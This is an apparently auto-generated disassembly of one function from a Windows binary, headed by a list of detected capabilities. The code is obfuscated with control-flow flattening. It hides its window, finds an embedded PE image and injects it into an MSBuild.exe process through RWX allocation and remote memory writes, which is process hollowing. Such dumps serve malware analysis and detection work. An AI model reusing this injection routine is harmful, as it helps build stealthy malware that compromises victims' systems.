Function at 0x10003d80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x10063600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0x87b3ab0c
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x80b22988
je 0x100073fb
jmp 0x10003dbc
mov eax, dword [ebp - 0x19c]
sub eax, 0x8271569d
je 0x10005700
jmp 0x10003dd2
mov eax, dword [ebp - 0x19c]
sub eax, 0x82a48e71
je 0x10004c49
jmp 0x10003de8
mov eax, dword [ebp - 0x19c]
sub eax, 0x84e64cee
je 0x100067ac
jmp 0x10003dfe
mov eax, dword [ebp - 0x19c]
sub eax, 0x85199cea
je 0x10005166
jmp 0x10003e14
mov eax, dword [ebp - 0x19c]
sub eax, 0x8543037d
je 0x1000577f
jmp 0x10003e2a
mov eax, dword [ebp - 0x19c]
sub eax, 0x8763fc0c
je 0x100058ae
jmp 0x10003e40
mov eax, dword [ebp - 0x19c]
sub eax, 0x87b3ab0c
je 0x10004b29
jmp 0x10003e56
mov eax, dword [ebp - 0x19c]
sub eax, 0x88e65f83
je 0x10006390
jmp 0x10003e6c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8a32c4ee
je 0x10006b5a
jmp 0x10003e82
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ba4a18a
je 0x10005545
jmp 0x10003e98
mov eax, dword [ebp - 0x19c]
sub eax, 0x8deac64d
je 0x10006f09
jmp 0x10003eae
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e228184
je 0x10006bd0
jmp 0x10003ec4
mov eax, dword [ebp - 0x19c]
sub eax, 0x9045c278
je 0x1000725d
jmp 0x10003eda
mov eax, dword [ebp - 0x19c]
sub eax, 0x90f24aee
je 0x1000723c
jmp 0x10003ef0
mov eax, dword [ebp - 0x19c]
sub eax, 0x944ef20a
je 0x1000693d
jmp 0x10003f06
mov eax, dword [ebp - 0x19c]
sub eax, 0x958437ed
je 0x10006a5a
jmp 0x10003f1c
mov eax, dword [ebp - 0x19c]
sub eax, 0x9cfd0436
je 0x10004f50
jmp 0x10003f32
mov eax, dword [ebp - 0x19c]
sub eax, 0x9ee0dc23
je 0x10005daf
jmp 0x10003f48
mov eax, dword [ebp - 0x19c]
sub eax, 0x9f0a9a40
je 0x10005e86
jmp 0x10003f5e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9fc9ae19
je 0x100069f8
jmp 0x10003f74
mov eax, dword [ebp - 0x19c]
sub eax, 0x9feeea2b
je 0x10006d85
jmp 0x10003f8a
mov eax, dword [ebp - 0x19c]
sub eax, 0xa12b5343
je 0x100074d4
jmp 0x10003fa0
mov eax, dword [ebp - 0x19c]
sub eax, 0xa4bf5859
je 0x10004d1b
jmp 0x10003fb6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa511ac2b
je 0x1000526e
jmp 0x10003fcc
mov eax, dword [ebp - 0x19c]
sub eax, 0xa559ff37
je 0x10005735
jmp 0x10003fe2
mov eax, dword [ebp - 0x19c]
sub eax, 0xa70e7065
je 0x1000591f
jmp 0x10003ff8
mov eax, dword [ebp - 0x19c]
sub eax, 0xa7388f57
je 0x10005770
jmp 0x1000400e
mov eax, dword [ebp - 0x19c]
sub eax, 0xaa17c043
je 0x10006752
jmp 0x10004024
mov eax, dword [ebp - 0x19c]
sub eax, 0xad065cd8
je 0x10006f18
jmp 0x1000403a
mov eax, dword [ebp - 0x19c]
sub eax, 0xadf795f3
je 0x1000536e
jmp 0x10004050
mov eax, dword [ebp - 0x19c]
sub eax, 0xb1ee5da1
je 0x10007069
jmp 0x10004066
mov eax, dword [ebp - 0x19c]
sub eax, 0xb5643eb8
je 0x10005536
jmp 0x1000407c
mov eax, dword [ebp - 0x19c]
sub eax, 0xb5811dfb
je 0x1000733a
jmp 0x10004092
mov eax, dword [ebp - 0x19c]
sub eax, 0xb7eb2a1e
je 0x10006726
jmp 0x100040a8
mov eax, dword [ebp - 0x19c]
sub eax, 0xba5ae85c
je 0x100057ad
jmp 0x100040be
mov eax, dword [ebp - 0x19c]
sub eax, 0xbb30f195
je 0x10005ca9
jmp 0x100040d4
mov eax, dword [ebp - 0x19c]
sub eax, 0xbb97e51b
je 0x10006ad0
jmp 0x100040ea
mov eax, dword [ebp - 0x19c]
sub eax, 0xbcd2ca51
je 0x10005da0
jmp 0x10004100
mov eax, dword [ebp - 0x19c]
sub eax, 0xc0e5f5fb
je 0x10005bcf
jmp 0x10004116
mov eax, dword [ebp - 0x19c]
sub eax, 0xc1c957bb
je 0x1000677e
jmp 0x1000412c
mov eax, dword [ebp - 0x19c]
sub eax, 0xc5fc30c9
je 0x10004fe1
jmp 0x10004142
mov eax, dword [ebp - 0x19c]
sub eax, 0xc6f93bf7
je 0x10005bc0
jmp 0x10004158
mov eax, dword [ebp - 0x19c]
sub eax, 0xc725b74e
je 0x100063f5
jmp 0x1000416e
mov eax, dword [ebp - 0x19c]
sub eax, 0xc7d965af
je 0x10004b7a
jmp 0x10004184
mov eax, dword [ebp - 0x19c]
sub eax, 0xc82970fa
je 0x100065cd
jmp 0x1000419a
mov eax, dword [ebp - 0x19c]
sub eax, 0xcaba204c
je 0x10005f7b
jmp 0x100041b0
mov eax, dword [ebp - 0x19c]
sub eax, 0xcb150a71
je 0x100074b3
jmp 0x100041c6
mov eax, dword [ebp - 0x19c]
sub eax, 0xccfec298
je 0x1000623d
jmp 0x100041dc
mov eax, dword [ebp - 0x19c]
sub eax, 0xcdbd4705
je 0x10007296
jmp 0x100041f2
mov eax, dword [ebp - 0x19c]
sub eax, 0xcf44c98b
je 0x10005726
jmp 0x10004208
mov eax, dword [ebp - 0x19c]
sub eax, 0xcf5f3565
je 0x100066b8
jmp 0x1000421e
mov eax, dword [ebp - 0x19c]
sub eax, 0xcfb8ce44
je 0x10006557
jmp 0x10004234
mov eax, dword [ebp - 0x19c]
sub eax, 0xd20101e0
je 0x10006b4b
jmp 0x1000424a
mov eax, dword [ebp - 0x19c]
sub eax, 0xd570c2a2
je 0x10006f3f
jmp 0x10004260
mov eax, dword [ebp - 0x19c]
sub eax, 0xd603f043
je 0x10004d36
jmp 0x10004276
mov eax, dword [ebp - 0x19c]
sub eax, 0xd6928fa1
je 0x10007272
jmp 0x1000428c
mov eax, dword [ebp - 0x19c]
sub eax, 0xd6ac55fb
je 0x100059f6
jmp 0x100042a2
mov eax, dword [ebp - 0x19c]
sub eax, 0xd6ff034c
je 0x10005e65
jmp 0x100042b8
mov eax, dword [ebp - 0x19c]
sub eax, 0xda8ca586
je 0x100061e2
jmp 0x100042ce
mov eax, dword [ebp - 0x19c]
sub eax, 0xdcd3c668
je 0x10006c4d
jmp 0x100042e4
mov eax, dword [ebp - 0x19c]
sub eax, 0xdcefff9b
je 0x10007220
jmp 0x100042fa
mov eax, dword [ebp - 0x19c]
sub eax, 0xdd298d3e
je 0x10005a78
jmp 0x10004310
mov eax, dword [ebp - 0x19c]
sub eax, 0xdfb62116
je 0x10004c58
jmp 0x10004326
mov eax, dword [ebp - 0x19c]
sub eax, 0xe1f4b8d9
je 0x100073dd
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
sub edx, 0x5345fd15
sub edx, 1
add edx, 0x5345fd15
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5bfe261a
mov ecx, 0xc7d965af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
add edx, 0x34b3abb0
sub edx, 1
sub edx, 0x34b3abb0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5bfe261a
mov ecx, 0x82a48e71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0xdfb62116
jmp 0x1000753b
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x48600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
movzx edx, word [eax]
mov eax, 0xb1ee5da1
mov ecx, 0xa4bf5859
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x198], 0xd603f043
jmp 0x1000753b
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x198], 0x38acd825
jmp 0x1000753b
mov eax, dword [ebp - 0x120]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x185], al
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1dee207f
mov ecx, 0x2f7f261b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x18c], eax
mov dl, byte [ebp - 0x185]
mov eax, 0x4242b84e
mov ecx, 0x38449d97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov edx, dword [ebp - 0x11c]
mov eax, 0x46a7c107
mov ecx, 0xe94e77a0
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x194], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
cmp dword [eax], 0
setge al
and al, 1
mov byte [ebp - 0x109], al
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
add edx, 0xfd7b1041
sub edx, 1
sub edx, 0xfd7b1041
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b1afacc
mov ecx, 0x7e24aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov edx, dword [ebp - 0x108]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x198], 0x65425afd
jmp 0x1000753b
mov dword [ebp - 0x198], 0x8ba4a18a
jmp 0x1000753b
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x198], 0x1189a977
jmp 0x1000753b
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xcf44c98b
jmp 0x1000753b
mov dword [ebp - 0x198], 0x8ba4a18a
jmp 0x1000753b
mov eax, dword [ebp - 0x168]
mov dword [eax], 0
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov dword [ebp - 0x198], 0xa7388f57
jmp 0x1000753b
mov dword [ebp - 0x198], 0x8543037d
jmp 0x1000753b
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x180]
mov ax, word [eax + 6]
mov word [ebp - 0xf0], ax
mov dword [ebp - 0x198], 0xba5ae85c
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
mov edx, ecx
sub edx, 0x7c49aa04
sub edx, 1
add edx, 0x7c49aa04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdcefff9b
mov ecx, 0x2b5d7fe5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dl, byte [ebp - 0xed]
mov eax, 0x2d57daba
mov ecx, 0x2f3ec0b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xe8]
add ecx, 0xc0effc2b
add ecx, eax
sub ecx, 0xc0effc2b
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov esi, dword [ebp - 0x160]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xec]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x170]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x160]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003ba0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov edx, dword [eax]
mov eax, dword [ebp - 0x170]
mov esi, dword [eax]
mov eax, dword [ebp - 0x160]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xc6f93bf7
mov ecx, 0xd6ac55fb
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x198], 0x50456bce
jmp 0x1000753b
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
add ecx, 0x89afb13e
add ecx, eax
sub ecx, 0x89afb13e
mov eax, dword [ebp - 0xe0]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xd5], al
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
mov edx, ecx
add edx, 0x82806833
sub edx, 1
sub edx, 0x82806833
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x90f24aee
mov ecx, 0xc0a7673
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0xc0e5f5fb
jmp 0x1000753b
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9045c278
mov ecx, 0x7b265aa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0x39aabe8a
jmp 0x1000753b
mov dword [ebp - 0x198], 0x9ee0dc23
jmp 0x1000753b
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
add edx, 0xfac7dff5
sub edx, 1
sub edx, 0xfac7dff5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2535fa05
mov ecx, 0x6b0eed84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dl, byte [ebp - 0xc1]
mov eax, 0x1cf755f9
mov ecx, 0x9f0a9a40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x198], 0x31a4a232
jmp 0x1000753b
mov dword [ebp - 0x198], 0x6cd85077
jmp 0x1000753b
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x198], 0x1ff78bc4
jmp 0x1000753b
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x198], 0x8e6acbf
jmp 0x1000753b
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf7d28dfd
mov ecx, 0xc725b74e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0x56b35bb4
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
mov edx, ecx
sub edx, 0xa8f706b
sub edx, 1
add edx, 0xa8f706b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe1f4b8d9
mov ecx, 0xc82970fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1f4b8d9
mov ecx, 0x7e4dda79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1735e444
mov ecx, 0xb7eb2a1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0x66c4fb63
jmp 0x1000753b
mov ecx, dword [ebp - 0x98]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xf61a7ed8
jmp 0x1000753b
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x198], 0x84e64cee
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x80b22988
mov ecx, 0x34a95062
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x180]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x85], al
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
add edx, 0xbdf340d7
sub edx, 1
sub edx, 0xbdf340d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20c2a53a
mov ecx, 0x798e8d6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x180]
add eax, 0x18
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x198], 0x10c06102
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
mov edx, ecx
sub edx, 0xc6709841
sub edx, 1
add edx, 0xc6709841
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf37dda0c
mov ecx, 0xbb97e51b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf37dda0c
mov ecx, 0xd20101e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0x8a32c4ee
jmp 0x1000753b
mov ecx, dword [0x10064938]
mov eax, dword [0x10064934]
mov edx, ecx
sub edx, 0x8b810ef3
sub edx, 1
add edx, 0x8b810ef3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb150a71
mov ecx, 0x8e228184
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x7c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
add edx, 0xd2605a5d
sub edx, 1
sub edx, 0xd2605a5d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb150a71
mov ecx, 0x3f6b35fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x34]
add ecx, 0x5b8917fd
sub ecx, eax
sub ecx, 0x5b8917fd
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x198], 0x3cac2c0
jmp 0x1000753b
mov eax, dword [0x10064938]
mov ecx, dword [0x10064934]
mov edx, eax
sub edx, 0xa296f2f3
sub edx, 1
add edx, 0xa296f2f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5914a07c
mov ecx, 0x3e44d106
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000753b
mov dword [ebp - 0x198], 0xad065cd8
jmp 0x1000753b
mov dword [ebp - 0x198], 0x46a7c107
jmp 0x1000753b
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
